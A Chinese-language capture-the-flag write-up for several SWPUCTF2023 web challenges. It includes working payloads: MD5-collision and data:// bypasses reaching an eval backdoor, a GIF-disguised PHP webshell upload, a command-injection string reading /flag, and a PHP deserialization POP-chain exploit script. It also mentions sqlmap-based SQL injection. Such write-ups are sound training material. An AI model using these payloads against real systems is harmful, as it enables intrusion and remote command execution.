SWPUCTF2023 web

colorful_snake

直接进入game.js,在函数this_is_real_flag()里,Unescape Unicode Characters解码

NSS_HTTP_CHEKER

根据要求传值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?this_is_get=get_%1t HTTP/1.1
Host: node6.anna.nssctf.cn:28510
User-Agent: NSSCTF
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://node6.anna.nssctf.cn:28303
Connection: close
Referer: http://node6.anna.nssctf.cn:28303/
Cookie: PHPSESSID=a2ed6a6a9f7b35a14604ac3b24b7af29;this_is_cookie=cookie_suki_desu~
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1

this_is_post=p03t

一键连接!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {//md5强类型比较,md5值相同绕过
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {//sha1强类型比较,数组绕过
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {//data://text/plain伪协议绕过file_get_contents
echo "Congratulations~~~~~~~~~";
echo "试试need Antsword<br/>";
@eval($_POST['Nss']);//进入后门
}else{
echo "可曾听过data协议?";
}
} else {
echo "sha1又如何相等呢";
}
} else {
echo "如何让md5值相等呢¿";
}
如何让md5值相等呢¿

payload:

1
GET:?md5_1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&md5_2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&sha1_1[]=1&sha1_2[]=2&new_player=data://text/plain,Welcome to NSSCTF!!!

蚁剑进入,flag在根目录。

ez_talk

文件上传,随便上传几个文件,发现只有图片可以上传,上传普通的图片马,提示:改了type我就不知道你这个不是图片了是吧,上传gif图片马,在一句话木马前加上GIF89a,让解析器认为这是一个gif图片,抓包,在图片名后添加后缀.php(为了能将此文件解析),然后访问图片路径可直接进入后门

Pingpingping

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
system("ping -c 3 ".$_ping);
}else{
$data = base64_encode(file_get_contents("error.png"));
echo "<img src='data:image/png;base64,$data'/>";

GET方式传入值,会直接进入危险函数system执行代码,需要注意的是_和.是非法的,可以用[代替,当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_

payload:

1
?Ping[ip.exe=127.0.0.1;ls /;cat /flag

UnS3rialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 <?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}


class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}

class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}

class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}



if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
Let's do some deserialization :)

考察php反序列化中的pop链,先来看几种魔术方法触发条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
方法名	        调用条件
__call 调用不可访问或不存在的方法时被调用
__callStatic 调用不可访问或不存在的静态方法时被调用
__clone 进行对象clone时被调用,用来调整对象的克隆行为
__constuct 构建对象的时被调用;
__debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__destruct 明确销毁对象或脚本结束时被调用;
__get 读取不可访问或不存在属性时被调用
__invoke 当以函数方式调用对象时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
__set 当给不可访问或不存在属性赋值时被调用
__set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
__toString 当一个类被转换成字符串时被调用
__unset 对不可访问或不存在的属性进行unset时被调用
__wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

这里我们需要首先确定pop链的头部和尾部,显然class F是头部,class NSS是尾部,所以这个pop链为:__destruct()->__toString()->__get($argv)->__invoke()

此外,还需要令user === "SWPU"passwd === "NSS",通过控制cmd进行命令执行,同时需要绕过__wakeup(只增加属性数量,不增加属性绕过),exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}


class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}

class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}

class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}

$c=new C();
$t=new T();
$f=new F("SWPU","NSS");
$nss=new NSS();
$f->notes=$t;
$t->sth=$c;
$c->whoami=$nss;
$nss->cmd="ls /;cat /flag"; //命令执行
$re=serialize($f);
//O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:14:"ls /;cat /flag";}}}}
//更改后:O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":2:{s:3:"cmd";s:14:"ls /;cat /flag";}}}}
echo base64_encode('O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":2:{s:3:"cmd";s:14:"ls /;cat /flag";}}}}')."<br>";

payload:

1
?ser=TzoxOiJGIjozOntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6Mjp7czozOiJjbWQiO3M6MTQ6ImxzIC87Y2F0IC9mbGFnIjt9fX19

查查need

提示利用万能密码,并且student_id有前端限制,猜测注入点在student_id,有个附件,没用什么用,其他两个参数随便填,sqlmap一把梭:

位置:Database:school Table:students Columns:grade